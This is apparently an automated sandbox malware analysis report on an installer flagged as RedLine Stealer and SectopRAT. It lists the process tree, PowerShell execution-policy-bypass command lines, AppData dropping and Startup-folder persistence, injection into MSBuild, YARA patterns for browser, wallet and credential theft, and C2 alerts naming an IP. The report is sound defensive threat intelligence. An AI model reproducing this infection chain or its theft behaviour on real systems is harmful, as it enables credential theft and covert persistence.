Edit tour

Windows Analysis Report
9VbeqQbgU4.exe

Overview

General Information

Sample name:	9VbeqQbgU4.exe renamed because original name is a hash value
Original sample name:	a91b4875630c4f702ab63f94ed633da4.exe
Analysis ID:	1564404
MD5:	a91b4875630c4f702ab63f94ed633da4
SHA1:	d485e90a501aa11f89f684063e5fbe235937f0bf
SHA256:	d864a359e3a19182e72109fe75408d21b10215938e8be4098c4dbbc8ce0b7c7c
Tags:	exeuser-smica83
Infos:

Detection

RedLine, SectopRAT

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Compliance

Score:	48
Range:	0 - 100

Signatures

Benign windows process drops PE files

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected RedLine Stealer

Yara detected SectopRAT

AI detected suspicious sample

Bypasses PowerShell execution policy

Connects to many ports of the same IP (likely port scanning)

Contains functionality to register a low level keyboard hook

Found direct / indirect Syscall (likely to bypass EDR)

Found hidden mapped module (file has been removed from disk)

Found suspicious powershell code related to unpacking or dynamic code loading

Loading BitLocker PowerShell Module

Maps a DLL or memory area into another process

Powershell drops PE file

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Uses known network protocols on non-standard ports

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to detect virtual machines (SLDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file contains strange resources

Queries disk information (often used to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Startup Folder File Write

Sigma detected: Use Short Name Path in Command Line

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

9VbeqQbgU4.exe (PID: 6404 cmdline: "C:\Users\user\Desktop\9VbeqQbgU4.exe" MD5: A91B4875630C4F702AB63F94ED633DA4)

9VbeqQbgU4.tmp (PID: 3956 cmdline: "C:\Users\user~1\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp" /SL5="$103E6,81954756,1209856,C:\Users\user\Desktop\9VbeqQbgU4.exe" MD5: 6AB2AF20157D2F440E8B22982F6247C5)

powershell.exe (PID: 1516 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user~1\AppData\Local\Temp\is-6VQJV.tmp\ExtractedContent.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dobi.exe (PID: 5580 cmdline: "C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe" MD5: A439025E40533F6E78C74FE8E9CE9875)

more.com (PID: 6212 cmdline: C:\Windows\SysWOW64\more.com MD5: 03805AE7E8CBC07840108F5C80CF4973)

conhost.exe (PID: 6200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 3664 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

svchost.exe (PID: 2340 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

coml.exe (PID: 4208 cmdline: "C:\Users\user\AppData\Roaming\sto\coml.exe" MD5: A439025E40533F6E78C74FE8E9CE9875)

more.com (PID: 1588 cmdline: C:\Windows\SysWOW64\more.com MD5: 03805AE7E8CBC07840108F5C80CF4973)

conhost.exe (PID: 2848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 4132 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\mebamtoyxy	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\mebamtoyxy	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\mebamtoyxy	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
C:\Users\user\AppData\Local\Temp\ggejkdxocdbcf	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\ggejkdxocdbcf	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\ggejkdxocdbcf	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author	Strings
0000000F.00000002.2441564536.0000000005B90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.2441564536.0000000005B90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000A.00000002.2196810054.00000000062A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2196810054.00000000062A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000011.00000002.2441992162.0000000000C02000.00000002.00000001.01000000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.2441992162.0000000000C02000.00000002.00000001.01000000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: powershell.exe PID: 1516	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xc5d4e7:$b1: ::WriteAllBytes( 0xc5d4b4:$b2: ::FromBase64String( 0x660154:$s1: -join 0xc688fc:$s1: -join 0xc759d1:$s1: -join 0xc78da3:$s1: -join 0xc79455:$s1: -join 0xc7af46:$s1: -join 0xc7d14c:$s1: -join 0xc7d973:$s1: -join 0xc7e1e3:$s1: -join 0xc7e91e:$s1: -join 0xc7e950:$s1: -join 0xc7e998:$s1: -join 0xc7e9b7:$s1: -join 0xc7f207:$s1: -join 0xc7f383:$s1: -join 0xc7f3fb:$s1: -join 0xc7f48e:$s1: -join 0xc7f6f4:$s1: -join 0xc8188a:$s1: -join
Process Memory Space: more.com PID: 6212	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: more.com PID: 6212	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 3664	JoeSecurity_SectopRAT	Yara detected SectopRAT	Joe Security
Process Memory Space: more.com PID: 1588	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: more.com PID: 1588	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 4132	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 4132	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
15.2.more.com.5b900c8.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.more.com.5b900c8.7.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
15.2.more.com.5b900c8.7.raw.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
10.2.more.com.62a00c8.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.more.com.62a00c8.7.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
10.2.more.com.62a00c8.7.raw.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
17.2.MSBuild.exe.c00000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
17.2.MSBuild.exe.c00000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
17.2.MSBuild.exe.c00000.0.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
15.2.more.com.5b900c8.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.more.com.5b900c8.7.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
15.2.more.com.5b900c8.7.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb684a:$s14: keybd_event 0xbd5b9:$v1_1: grabber@ 0xb741c:$v1_2: <BrowserProfile>k__ 0xb7e95:$v1_3: <SystemHardwares>k__ 0xb7f54:$v1_5: <ScannedWallets>k__ 0xb7fe4:$v1_6: <DicrFiles>k__ 0xb7fc0:$v1_7: <MessageClientFiles>k__ 0xb838a:$v1_8: <ScanBrowsers>k__BackingField 0xb83dc:$v1_8: <ScanWallets>k__BackingField 0xb83f9:$v1_8: <ScanScreen>k__BackingField 0xb8433:$v1_8: <ScanVPN>k__BackingField 0xa9c62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xa956e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
10.2.more.com.62a00c8.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.more.com.62a00c8.7.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
10.2.more.com.62a00c8.7.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb684a:$s14: keybd_event 0xbd5b9:$v1_1: grabber@ 0xb741c:$v1_2: <BrowserProfile>k__ 0xb7e95:$v1_3: <SystemHardwares>k__ 0xb7f54:$v1_5: <ScannedWallets>k__ 0xb7fe4:$v1_6: <DicrFiles>k__ 0xb7fc0:$v1_7: <MessageClientFiles>k__ 0xb838a:$v1_8: <ScanBrowsers>k__BackingField 0xb83dc:$v1_8: <ScanWallets>k__BackingField 0xb83f9:$v1_8: <ScanScreen>k__BackingField 0xb8433:$v1_8: <ScanVPN>k__BackingField 0xa9c62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xa956e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
Click to see the 10 entries

Other

Source	Rule	Description	Author	Strings
amsi32_1516.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x57db01:$b1: ::WriteAllBytes( 0x57dacd:$b2: ::FromBase64String( 0x58a0c2:$s1: -join 0x58386e:$s4: += 0x583930:$s4: += 0x587b57:$s4: += 0x589c74:$s4: += 0x589f5e:$s4: += 0x58a0a4:$s4: += 0x58d8ba:$s4: += 0x58d9be:$s4: += 0x590e1a:$s4: += 0x5914fa:$s4: += 0x5919b0:$s4: += 0x591a05:$s4: += 0x591c79:$s4: += 0x591ca8:$s4: += 0x5921f0:$s4: += 0x59221f:$s4: += 0x5922fe:$s4: += 0x594595:$s4: +=

Sigma Signatures

System Summary

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user~1\AppData\Local\Temp\is-6VQJV.tmp\ExtractedContent.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user~1\AppData\Local\Temp\is-6VQJV.tmp\ExtractedContent.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user~1\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp" /SL5="$103E6,81954756,1209856,C:\Users\user\Desktop\9VbeqQbgU4.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp, ParentProcessId: 3956, ParentProcessName: 9VbeqQbgU4.tmp, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user~1\AppData\Local\Temp\is-6VQJV.tmp\ExtractedContent.ps1", ProcessId: 1516, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user~1\AppData\Local\Temp\is-6VQJV.tmp\ExtractedContent.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user~1\AppData\Local\Temp\is-6VQJV.tmp\ExtractedContent.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user~1\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp" /SL5="$103E6,81954756,1209856,C:\Users\user\Desktop\9VbeqQbgU4.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp, ParentProcessId: 3956, ParentProcessName: 9VbeqQbgU4.tmp, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user~1\AppData\Local\Temp\is-6VQJV.tmp\ExtractedContent.ps1", ProcessId: 1516, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user~1\AppData\Local\Temp\is-6VQJV.tmp\ExtractedContent.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user~1\AppData\Local\Temp\is-6VQJV.tmp\ExtractedContent.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user~1\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp" /SL5="$103E6,81954756,1209856,C:\Users\user\Desktop\9VbeqQbgU4.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp, ParentProcessId: 3956, ParentProcessName: 9VbeqQbgU4.tmp, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user~1\AppData\Local\Temp\is-6VQJV.tmp\ExtractedContent.ps1", ProcessId: 1516, ProcessName: powershell.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1516, TargetFilename: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\System32\svchost.exe, ProcessId: 2340, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BIT3EC5.tmp

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp" /SL5="$103E6,81954756,1209856,C:\Users\user\Desktop\9VbeqQbgU4.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp" /SL5="$103E6,81954756,1209856,C:\Users\user\Desktop\9VbeqQbgU4.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp, NewProcessName: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp, OriginalFileName: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp, ParentCommandLine: "C:\Users\user\Desktop\9VbeqQbgU4.exe", ParentImage: C:\Users\user\Desktop\9VbeqQbgU4.exe, ParentProcessId: 6404, ParentProcessName: 9VbeqQbgU4.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp" /SL5="$103E6,81954756,1209856,C:\Users\user\Desktop\9VbeqQbgU4.exe" , ProcessId: 3956, ProcessName: 9VbeqQbgU4.tmp

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user~1\AppData\Local\Temp\is-6VQJV.tmp\ExtractedContent.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user~1\AppData\Local\Temp\is-6VQJV.tmp\ExtractedContent.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user~1\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp" /SL5="$103E6,81954756,1209856,C:\Users\user\Desktop\9VbeqQbgU4.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp, ParentProcessId: 3956, ParentProcessName: 9VbeqQbgU4.tmp, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user~1\AppData\Local\Temp\is-6VQJV.tmp\ExtractedContent.ps1", ProcessId: 1516, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2340, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T10:05:53.330123+0100	2029217	1	Malware Command and Control Activity Detected	45.141.84.168	15647	192.168.2.7	49887	TCP

ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T10:05:52.148906+0100	2051910	1	A Network Trojan was detected	192.168.2.7	49887	45.141.84.168	15647	TCP

ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T10:05:57.247711+0100	2052248	1	A Network Trojan was detected	192.168.2.7	49896	45.141.84.168	9000	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\ggejkdxocdbcf	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\mebamtoyxy	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	ReversingLabs: Detection: 37%
Source: C:\Users\user\AppData\Roaming\sto\BIT3445.tmp	ReversingLabs: Detection: 37%
Source: C:\Users\user\AppData\Roaming\sto\coml.exe (copy)	ReversingLabs: Detection: 37%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 88.8% probability

Compliance

Uses 32bit PE files

Source: 9VbeqQbgU4.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

PE / OLE file has a valid certificate

Source: 9VbeqQbgU4.exe

Static PE information: certificate valid

Uses secure TLS version for HTTPS connections

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49847 version: TLS 1.2

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: 9VbeqQbgU4.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Binary contains paths to debug symbols

Source:	Binary string: C:\Dev\elevate\bin\x86\Release\Elevate.pdb source: 9VbeqQbgU4.tmp, 00000002.00000002.2177075982.00000000010FC000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.1994206987.0000000008B80000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: dobi.exe, 00000007.00000002.2036823237.0000018064BA7000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000002.2115155764.00000180673B0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: more.com, 0000000A.00000002.2196255608.00000000051B0000.00000004.00001000.00020000.00000000.sdmp, more.com, 0000000A.00000002.2195856917.0000000004CC6000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000F.00000002.2440909941.0000000004DCD000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441286289.00000000052A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: dobi.exe, 00000007.00000002.2036823237.0000018064BA7000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000002.2115155764.00000180673B0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: more.com, 0000000A.00000002.2196255608.00000000051B0000.00000004.00001000.00020000.00000000.sdmp, more.com, 0000000A.00000002.2195856917.0000000004CC6000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000F.00000002.2440909941.0000000004DCD000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441286289.00000000052A0000.00000004.00001000.00020000.00000000.sdmp

Software Vulnerabilities

Found inlined nop instructions (likely shell or obfuscated code)

